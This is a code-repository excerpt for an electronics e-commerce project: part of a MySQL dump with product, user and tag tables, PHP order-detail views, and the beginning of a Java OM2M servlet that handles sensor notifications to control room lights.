('df83226f-10aa-4661-bb6c-e47fbe', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('eb392276-d3ea-4c07-82d1-e763a4', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30),
('ecea7ba8-9b19-45b6-b52e-97d934', '<NAME>', '12121212', '', '2021-06-01 00:00:00', '2f0a6093-e60d-44a7-9b5b-72976f', 0x30);
-- --------------------------------------------------------
--
-- Table structure for table `product`
--
CREATE TABLE `product` (
`pro_id` varchar(30) NOT NULL,
`pro_name` varchar(255) DEFAULT NULL,
`pro_price` decimal(10,2) DEFAULT 0.00,
`pro_quentity` int(11) DEFAULT 0,
`pro_details` text DEFAULT NULL,
`main_img` varchar(255) DEFAULT NULL,
`pro_imgs` text DEFAULT NULL,
`create_date` datetime DEFAULT NULL,
`is_active` binary(1) DEFAULT '1',
`cat_id` varchar(30) NOT NULL,
`brand` varchar(20) DEFAULT NULL,
`Sku` varchar(50) DEFAULT NULL,
`defualt` int(3) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `product`
--
INSERT INTO `product` (`pro_id`, `pro_name`, `pro_price`, `pro_quentity`, `pro_details`, `main_img`, `pro_imgs`, `create_date`, `is_active`, `cat_id`, `brand`, `Sku`, `defualt`) VALUES
('', 'HP 250 G7', '826.02', 10, 'ntel Core i7 8565U Processor\r\n15.6 Inch 1366 x 768 Screen\r\n8GB RAM\r\n256GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x01, '1', 'hp', '', 0),
('5f38a084-1ed1-4031-a9d2-2cd7c0', '', '0.00', 0, '', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-21 23:44:21', 0x31, '', '', NULL, NULL),
('eqweq23123dasdad', 'Samsung Galaxy S10e Prism Black', '549.60', 10, 'Android 9.0 Pie Operating System\r\n5.8 Inch Screen size\r\n128GB Storage\r\nDual 12 and 16 Megapixel Rear camera\r\nNew', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Samsung', '', 0),
('uuid()', 'Refurbished HP 840 G4 ', '704.86', 10, 'Intel Core i7 7600U Processor\r\n14 Inch Full HD Screen\r\n8GB RAM\r\n512GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x01, '1', 'hp', '', 0),
('uuid(0)', 'HP EliteBook 840 G6', '1232.44', 10, 'Intel Core i7 8565U Processor\r\n14 Inch Full HD Screen\r\n8GB RAM\r\n256GB SSD\r\n3 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x01, '1', 'hp', '', 0),
('uuid(1)', 'HP Pavilion', '1299.62', 10, 'Intel Core i7 10750H Processor\r\n17.3 Inch Full HD 144Hz Screen\r\nGeForce GTX 1660 Ti 6GB Graphics card\r\n8GB RAM\r\n1TB Hard Drive + 512GB SSDy', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'hp', '', 0),
('uuid(10)', 'Lenovo ThinkPad L13 Yoga ', '1154.23', 10, 'Intel Core i7 10510U Processor\r\n13.3 Inch Full HD Screen\r\n16GB RAM\r\n512GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'Lenovo', '', 0),
('uuid(11)', 'Lenovo Legion 5 15IMH05H', '1443.90', 10, 'Intel Core i7 10750H Processor\r\n15.6 Inch Full HD 144Hz Screen\r\nGeForce RTX 2060 6GB Graphics card\r\n16GB RAM\r\n512GB SSDy', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'Lenovo', '', 0),
('uuid(15)', '\r\nSamsung Galaxy S8 Orchid Grey', '351.35', 10, 'Android 7.0 Nougat Operating System\r\n5.8 Inch Screen size\r\n64GB Storage\r\n12 Megapixel Rear camera\r\nNew', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Samsung', '', 0),
('uuid(16)', 'Apple iPhone SE 2020 Black', '491.19', 10, 'iOS 13 Operating System\r\n4.7 Inch Screen size\r\n128GB Storage\r\n12 Megapixel Rear camera\r\nNew', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Apple', '', 0),
('uuid(17)', 'Apple iPhone SE 2020 Red', '516.56', 10, 'iOS 13 Operating System\r\n4.7 Inch Screen size\r\n128GB Storage\r\n12 Megapixel Rear camera\r\nNew', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Apple', '', 0),
('uuid(18)', 'Apple iPhone SE 2020 White ', '490.09', 10, 'iOS 13 Operating System\r\n4.7 Inch Screen size\r\n128GB Storage\r\n12 Megapixel Rear camera\r\nNewy', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Apple', '', 0),
('uuid(19)', 'Apple iPhone 11 Pro Max Space Grey ', '1263.27', 10, 'iOS 13 Operating System\r\n6.5 Inch Screen size\r\n256GB Storage\r\nTriple 12 Megapixel Rear camera\r\nNew', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Apple', '', 0),
('uuid(2)', 'Refurbished HP Pavilion', '815.00', 10, 'Intel Core i7 1065G7 Processor\r\n14 Inch Full HD Screen\r\nINTEL IRIS PLUS G7 GRAPHICS Graphics card\r\n8GB RAM\r\n512GB SSD', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'hp', '', 0),
('uuid(20)', 'Apple iPhone 11 Pro Max Midnight Green', '1266.13', 10, 'iOS 13 Operating System\r\n6.5 Inch Screen size\r\n256GB Storage\r\nTriple 12 Megapixel Rear camera\r\nNew', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '2', 'Apple', '', 0),
('uuid(21)', 'Samsung Bar Plus 256GB USB', '36.31', 10, 'nterface - USB 3.1\r\nBrand - Samsung\r\nCapacity - 256GB', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '3', 'Samsung', '', 0),
('uuid(22)', 'Kensington Foam Mouse Pad - Black ', '14.29', 10, 'Kensington\r\nSize - Small', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '3', 'Kensington', '', 0),
('uuid(23)', 'Toshiba Canvio Basics 500GB Ext HDD Blk', '44.02', 10, 'Form Factor - 2.5in\r\n2 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '3', 'Toshiba', '', 0),
('uuid(3)', 'HP 250 G7', '798.49', 10, 'Intel Core i5 1035G1 Processor\r\n15.6 Inch 1366 x 768 Screen\r\n8GB RAM\r\n256GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'hp', '', 0),
('uuid(4)', 'HP ProBook 430 G7', '792.97', 10, 'Intel Core i5 10210U Processor\r\n13.3 Inch Full HD Screen\r\n8GB RAM\r\n256GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'hp', '', 0),
('uuid(6)', 'HP 250 G7', '787.47', 10, 'Intel Core i5 8265U Processor\r\n15.6 Inch 1366 x 768 Screen\r\n8GB RAM\r\n256GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'hp', '', 0),
('uuid(7)', 'Lenovo ThinkBook 15', '1024.27', 10, 'Intel Core i7 1065G7 Processor\r\n15.6 Inch Full HD Screen\r\n16GB RAM\r\n512GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'Lenovo', '', 0),
('uuid(8)', '\r\nLenovo V15 ', '791.98', 10, 'Intel Core i7 1065G7 Processor\r\n15.6 Inch Full HD Screen\r\n8GB RAM\r\n256GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'Lenovo', '', 0),
('uuid(9)', '\r\nLenovo ThinkPad E15', '1013.25', 10, 'Intel Core i7 10510U Processor\r\n14 Inch Full HD Screen\r\n16GB RAM\r\n512GB SSD\r\n1 year warranty', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '/ElectronicEcommerce/app/assets/images/3782994ce1439acd80b753ade7e7df57e64019e9753901218VT38EA_1_Classic.jpg', '2020-10-18 00:00:00', 0x31, '1', 'Lenovo', '', 0);
-- --------------------------------------------------------
--
-- Table structure for table `store_info`
--
CREATE TABLE `store_info` (
`store_name` varchar(255) DEFAULT NULL,
`logo` varchar(255) DEFAULT NULL,
`facebook` varchar(255) DEFAULT NULL,
`tweeter` varchar(255) DEFAULT NULL,
`insatgram` varchar(255) DEFAULT NULL,
`who_we_are` text DEFAULT NULL,
`privacy_and_policy` text DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table structure for table `tags`
--
CREATE TABLE `tags` (
`tag_id` varchar(30) NOT NULL,
`tag_name` varchar(50) DEFAULT NULL,
`tag_type` int(1) DEFAULT 1,
`tag_data` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `tags`
--
INSERT INTO `tags` (`tag_id`, `tag_name`, `tag_type`, `tag_data`) VALUES
('123', 'color', 1, 'blue,yellow,red');
-- --------------------------------------------------------
--
-- Table structure for table `tag_details`
--
CREATE TABLE `tag_details` (
`tag_details_id` varchar(30) NOT NULL,
`tag_name` varchar(50) DEFAULT NULL,
`pro_id` varchar(30) NOT NULL,
`is_active` int(2) DEFAULT 1,
`tag_data` varchar(255) DEFAULT NULL,
`tag_id` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `tag_details`
--
INSERT INTO `tag_details` (`tag_details_id`, `tag_name`, `pro_id`, `is_active`, `tag_data`, `tag_id`) VALUES
('1212', 'color', '<PASSWORD>', 1, 'blue', '123');
-- --------------------------------------------------------
--
-- Table structure for table `user`
--
CREATE TABLE `user` (
`user_id` varchar(30) NOT NULL,
`user_name` varchar(255) DEFAULT NULL,
`first_name` varchar(255) DEFAULT NULL,
`user_password` varchar(255) DEFAULT NULL,
`user_email` varchar(255) NOT NULL,
`user_role` int(2) DEFAULT 1,
`create_date` datetime DEFAULT NULL,
`is_active` binary(1) DEFAULT '1',
`user_img` varchar(255) DEFAULT NULL,
`last_name` varchar(255) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `user`
--
INSERT INTO `user` (`user_id`, `user_name`, `first_name`, `user_password`, `user_email`, `user_role`, `create_date`, `is_active`, `user_img`, `last_name`) VALUES
('23d23f6d-ac1a-45e9-aaa9-69e5c3', 'thenme', 'Then', 'e4d8518c6a2b43ba2976942d19b064b4', '<EMAIL>', 3, '2020-10-23 04:23:15', 0x31, NULL, 'Me'),
('2f0a6093-e60d-44a7-9b5b-72976f', 'thenme', 'dd', '83fc0f4334038af1117c8379a63610b1', '<EMAIL>', 3, '2020-10-23 04:13:46', 0x31, NULL, 'sda'),
('4e8f4455-1163-11eb-9632-f81654', 'nofa', 'noof', '440n330a', '<EMAIL>', 1, '0000-00-00 00:00:00', 0x31, NULL, 'senan'),
('776bc130-d6f1-4cbb-a812-4802f5', 'thenme', 'Then', '0211ef5da46eeaf713c1b5123623987c', '<EMAIL>', 2, '2020-11-06 15:08:09', 0x31, NULL, 'Me'),
('9cbcb63a-703e-4d9e-ab42-b8d53a', 'thenme', 'ss', '83fc0f4334038af1117c8379a63610b1', '<EMAIL>', 3, '2020-10-23 04:15:46', 0x31, NULL, 'ss'),
('dd538206-6a16-4f3d-9730-ee358f', 'thenme', 'dfds', '83fc0f4334038af1117c8379a63610b1', '<EMAIL>', 0, '2020-10-23 04:11:40', 0x31, NULL, 'dsfdsf'),
('eba58a30-9d4a-4be5-a459-c5fe55', 'thenme', 'dfds', '<PASSWORD>', '<EMAIL>', 0, '2020-10-23 04:13:23', 0x31, NULL, 'dsfdsf');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `address`
--
ALTER TABLE `address`
ADD PRIMARY KEY (`address_id`),
ADD KEY `order_id` (`order_id`),
ADD KEY `user_id` (`user_id`);
--
-- Indexes for table `advertisement`
--
ALTER TABLE `advertisement`
ADD PRIMARY KEY (`adver_id`),
ADD KEY `offer_id` (`offer_id`);
--
-- Indexes for table `bank`
--
ALTER TABLE `bank`
ADD PRIMARY KEY (`bank_id`) USING BTREE;
--
-- Indexes for table `bank_details`
--
ALTER TABLE `bank_details`
ADD PRIMARY KEY (`bank_detail_id`),
ADD KEY `user_id` (`user_id`);
--
-- Indexes for table `cart`
--
ALTER TABLE `cart`
ADD PRIMARY KEY (`cart_id`),
ADD KEY `user_id` (`user_id`),
ADD KEY `proid` (`pro_id`);
--
-- Indexes for table `cart_details`
--
ALTER TABLE `cart_details`
ADD PRIMARY KEY (`cart_details_id`),
ADD KEY `cart_id` (`cart_id`),
ADD KEY `pro_id` (`pro_id`);
--
-- Indexes for table `categories`
--
ALTER TABLE `categories`
ADD PRIMARY KEY (`cat_id`);
--
-- Indexes for table `dicount`
--
ALTER TABLE `dicount`
ADD PRIMARY KEY (`discount_id`),
ADD KEY `offer_id` (`offer_id`),
ADD KEY `pro_id` (`pro_id`);
--
-- Indexes for table `extra_item`
--
ALTER TABLE `extra_item`
ADD PRIMARY KEY (`id`),
ADD KEY `pro_id` (`pro_id`),
ADD KEY `offer_id` (`offer_id`);
--
-- Indexes for table `offers`
--
ALTER TABLE `offers`
ADD PRIMARY KEY (`offer_id`),
ADD KEY `type_id` (`type_id`);
--
-- Indexes for table `offer_item_out`
--
ALTER TABLE `offer_item_out`
ADD PRIMARY KEY (`id`),
ADD KEY `pro_id` (`pro_id`),
ADD KEY `offer_id` (`offer_id`);
--
-- Indexes for table `offer_type`
--
ALTER TABLE `offer_type`
ADD PRIMARY KEY (`type_id`);
--
-- Indexes for table `orders`
--
ALTER TABLE `orders`
ADD PRIMARY KEY (`order_id`),
ADD KEY `address_id` (`address_id`),
ADD KEY `payment_id` (`payment_id`);
--
-- Indexes for table `oreder_details`
--
ALTER TABLE `oreder_details`
ADD PRIMARY KEY (`details_id`),
ADD KEY `order_id` (`order_id`),
ADD KEY `pro_id` (`pro_id`);
--
-- Indexes for table `payment`
--
ALTER TABLE `payment`
ADD PRIMARY KEY (`payment_id`),
ADD KEY `user_id` (`user_id`),
ADD KEY `payment_ibfk_1` (`bank_id`);
--
-- Indexes for table `product`
--
ALTER TABLE `product`
ADD PRIMARY KEY (`pro_id`),
ADD KEY `cat_id` (`cat_id`);
--
-- Indexes for table `tags`
--
ALTER TABLE `tags`
ADD PRIMARY KEY (`tag_id`);
--
-- Indexes for table `tag_details`
--
ALTER TABLE `tag_details`
ADD PRIMARY KEY (`tag_details_id`) USING BTREE,
ADD KEY `tag_id` (`tag_id`),
ADD KEY `pro_id` (`pro_id`);
--
-- Indexes for table `user`
--
ALTER TABLE `user`
ADD PRIMARY KEY (`user_id`);
--
-- Constraints for dumped tables
--
--
-- Constraints for table `address`
--
ALTER TABLE `address`
ADD CONSTRAINT `address_ibfk_2` FOREIGN KEY (`user_id`) REFERENCES `user` (`user_id`);
--
-- Constraints for table `advertisement`
--
ALTER TABLE `advertisement`
ADD CONSTRAINT `advertisement_ibfk_1` FOREIGN KEY (`offer_id`) REFERENCES `offers` (`offer_id`);
--
-- Constraints for table `cart_details`
--
ALTER TABLE `cart_details`
ADD CONSTRAINT `cart_details_ibfk_1` FOREIGN KEY (`cart_id`) REFERENCES `cart` (`cart_id`);
--
-- Constraints for table `dicount`
--
ALTER TABLE `dicount`
ADD CONSTRAINT `dicount_ibfk_1` FOREIGN KEY (`offer_id`) REFERENCES `offers` (`offer_id`),
ADD CONSTRAINT `dicount_ibfk_2` FOREIGN KEY (`pro_id`) REFERENCES `product` (`pro_id`);
--
-- Constraints for table `extra_item`
--
ALTER TABLE `extra_item`
ADD CONSTRAINT `extra_item_ibfk_1` FOREIGN KEY (`pro_id`) REFERENCES `product` (`pro_id`),
ADD CONSTRAINT `extra_item_ibfk_2` FOREIGN KEY (`offer_id`) REFERENCES `offers` (`offer_id`);
--
-- Constraints for table `offers`
--
ALTER TABLE `offers`
ADD CONSTRAINT `offers_ibfk_1` FOREIGN KEY (`type_id`) REFERENCES `offer_type` (`type_id`);
--
-- Constraints for table `offer_item_out`
--
ALTER TABLE `offer_item_out`
ADD CONSTRAINT `offer_item_out_ibfk_1` FOREIGN KEY (`pro_id`) REFERENCES `product` (`pro_id`),
ADD CONSTRAINT `offer_item_out_ibfk_2` FOREIGN KEY (`offer_id`) REFERENCES `offers` (`offer_id`);
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><div class="container mar">
<div class="row container " style=" margin-top:2%;margin-bottom:1%;">
<div class="col-md-10 mx-auto text-center">
<h2 class="fs-title" style="color:#836691; font-weight:bold;">show your order Details </h2>
</div>
</div>
<div class="py-5 text-center">
</div>
<form id="msform" method="POST">
<div style=" margin-top:-13%;">
<!-- fieldsets -->
<fieldset>
<h3 style="color:#836691; font-weight:bold;">Products</h3>
<table class="table table-hover">
<thead>
<tr>
<th style="color:#836691;">Product</th>
<th style="color:#836691;">Quntity </th>
<th class="text-center" style="color:#836691;">Price</th>
<th class="text-center"style="color:#836691;">Total</th>
</tr>
</thead>
<tbody>
<?php
$ord=$data['orders'];
$index=0;
$sum=0;
foreach($ord as $product){
//print_r($pro);
?>
<tr>
<td class="col-md-9">
<img class="d-block mb-2" src="<?php echo $product->main_img; ?>" alt="" width="72" height="72">
<em><?php echo $product->pro_name; ?></em></h4>
</td>
<td class="col-md-1" style="text-align: center"> <?php echo $product->quentity; ?> </td>
<td class="col-md-1 text-center"><?php echo $product->pro_price; ?></td>
<td class="col-md-1 text-center"><?php echo $product->total_price; ?></td>
</tr>
<?php $sum=$sum+$product->total_price;} ?>
<tr>
<td> </td>
<td> </td>
<td class="text-right" style="color:#836691; font-weight:bold;">
ToTal: <?php echo $sum;?>
</td>
<td class="text-right">
<strong id="tblTotalPrice"> </strong>
</td>
</tr>
</tbody>
</table>
<div class="row">
<div class="col-6">
<address >
<div class="text-center">
<h3 style="color:#836691; font-weight:bold;">Address Information</h3>
</div>
<?php
$ord=$data['orders'];
$index=0;
//print_r($ord);
$sum=0;
foreach($ord as $product){
?>
<!-- <strong>ElectronicEcommerce</strong> -->
<span title="Phone" id="zip_id3" >Full Name : <?php echo $product->user_name;?> </span><br>
<span id="username3">Country : <?php echo $product->country;?></span><br>
<span title="Phone" id="country3">City : <?php echo $product->city;?></span> <br>
<span title="Phone" id="city3" >Street: <?php echo $product->country;?> </span><br>
<span title="Phone" id="street3">Zip_id : <?php echo $product->zip_id;?></span> <br>
<?php }?>
</address>
</div>
<div class="col-6">
<address >
<div class="text-center">
<h3 style="color:#836691; font-weight:bold;">Payment Information</h3>
</div>
<?php
$ord=$data['orders'];
$index=0;
//print_r($ord);
$sum=0;
foreach($ord as $product){
?>
<!-- <strong>ElectronicEcommerce</strong> -->
<span title="Phone" id="zip_id3" >Full Name : <?php echo $product->full_name ;?> </span><br>
<span id="username3">Bank Account : <?php echo $product->userbank_id ;?></span><br>
<span title="Phone" id="country3">Exp Date : <?php echo $product->ex_date ;?></span> <br>
<?php }?>
</address>
</div>
</div>
</fieldset>
</div>
</form>
</div>
<file_sep><div class="row">
<div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
<div class="page-header">
<h2 class="pageheader-title" >E-commerce Orders</h2>
<div class="page-breadcrumb">
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="#" class="haver">Dashboard</a></li>
<li class="breadcrumb-item active" aria-current="page">Show Orders</li>
<li class="breadcrumb-item active" aria-current="page"> Orders Details</li>
</ol>
</nav>
</div>
</div>
<div class="container form-card col-lg-12 px-5">
<div class="py-5 text-center">
</div>
<form id="msform" method="POST">
<div style=" margin-top:-13%;">
<!-- fieldsets -->
<fieldset>
<h3 >Products</h3>
<table class="table table-hover">
<thead>
<tr>
<th >Product</th>
<th>Quntity </th>
<th>Price</th>
<th >Total</th>
</tr>
</thead>
<tbody>
<?php
$ord=$data['orders'];
$index=0;
//print_r($ord);
$sum=0;
foreach($ord as $product){
//print_r($pro);
?>
<tr>
<td class="col-md-9">
<img class="d-block mb-2" src="<?php echo $product->main_img; ?>" alt="" width="72" height="72">
<em><?php echo $product->pro_name; ?></em></h4>
</td>
<td class="col-md-1" style="text-align: center"> <?php echo $product->quentity; ?> </td>
<td class="col-md-1 text-center"><?php echo $product->pro_price; ?></td>
<td class="col-md-1 text-center"><?php echo $product->total_price; ?></td>
</tr>
<?php $sum=$sum+$product->total_price;} ?>
<tr>
<td> </td>
<td> </td>
<td class="text-right">
ToTal: <?php echo $sum;?>
</td>
<td class="text-right">
<strong id="tblTotalPrice"> </strong>
</td>
</tr>
</tbody>
</table>
<div class="row text-center">
<div class="col-6">
<address >
<div class="text-center">
<h3 >Address Information</h3>
</div>
<?php
$ord=$data['orders'];
$index=0;
//print_r($ord);
$sum=0;
foreach($ord as $product){
?>
<!-- <strong>ElectronicEcommerce</strong> -->
<span title="Phone" id="zip_id3" >Full Name : <?php echo $product->user_name;?> </span><br>
<span id="username3">Country : <?php echo $product->country;?></span><br>
<span title="Phone" id="country3">City : <?php echo $product->city;?></span> <br>
<span title="Phone" id="city3" >Street: <?php echo $product->country;?> </span><br>
<span title="Phone" id="street3">Zip_id : <?php echo $product->zip_id;?></span> <br>
<?php }?>
</address>
</div>
<div class="col-6">
<address >
<div class="text-center">
<h3 >Payment Information</h3>
</div>
<?php
$ord=$data['orders'];
$index=0;
//print_r($ord);
$sum=0;
foreach($ord as $product){
?>
<!-- <strong>ElectronicEcommerce</strong> -->
<span title="Phone" id="zip_id3" >Full Name : <?php echo $product->full_name ;?> </span><br>
<span id="username3">Bank Account : <?php echo $product->userbank_id ;?></span><br>
<span title="Phone" id="country3">Exp Date : <?php echo $product->ex_date ;?></span> <br>
<?php }?>
</address>
</div>
</div>
</fieldset>
</div>
</form>
</div>
| f7d3bf6d068e6f50ae6af8cf5231780f0886e6f5 | [
"SQL",
"PHP"
] | 3 | SQL | amgedalwan/ElectronicEcommerce | 7c14e849d14dd1be8842d61885e6c1690a30f0de | 071dfae91cc77770c2ba97862a776e029b86b032 |
refs/heads/master | <file_sep>package fr.insat.om2m.tp2.server;
import java.io.BufferedReader;
import java.io.IOException;
import java.util.Scanner;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.om2m.commons.resource.Notification;
import fr.insat.om2m.tp2.mapper.Mapper;
import httpRequest.HttpRequest;
public class HttpServer {
private static Mapper mapper = new Mapper();
private static int PORT = 1400;
private static String CONTEXT = "/monitor";
/**
* Get the payload as string
*
* @param bufferedReader
* @return payload as string
*/
public static String getPayload(BufferedReader bufferedReader) {
Scanner sc = new Scanner(bufferedReader);
String payload = "";
while (sc.hasNextLine()) {
payload += sc.nextLine() + "\n";
}
sc.close();
return payload;
}
public static class MonitorServlet extends HttpServlet {
private static final long serialVersionUID = 2302036096330714914L;
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String payload = getPayload(req.getReader());
System.out.println("Subscription received with payload:\n"+ payload);
// unmarshalling the notification
Notification notif = (Notification) mapper.unmarshal(payload);
//get id of the sensor
String id = notif.getSubscriptionReference().replace("/in-cse/in-name/","");
id = id.replace("/DATA/SUBSCRIPTION", "");
System.out.println(id);
//get the data
String data = payload.replaceAll("(.)*[^con]>","").replaceAll("\n","").replaceAll(" ","");
data = data.replace("</m2m:sgn>","");
data = data.replace("<con>","").replace("</con>","");
System.out.println(data);
/*if (notif.isVerificationRequest()){
System.out.println("Received verification request");
return;
}*/
// services :) finally !!!
// we do it static : change services by hands :(
// services only be provide from 7 to 22
HttpRequest reqApi = new HttpRequest();
int t = Integer.valueOf(reqApi.reqAPI("GET", "http://localhost:8888/RestProject/webapi/myresources/clock/Clock"));
if ((t >= 7)& (t < 22)){
// service 1 : if there is no one in the room, light go off
if (id.equals("Sensor")){
if (data.equals("off")){
// turn off Light1-4
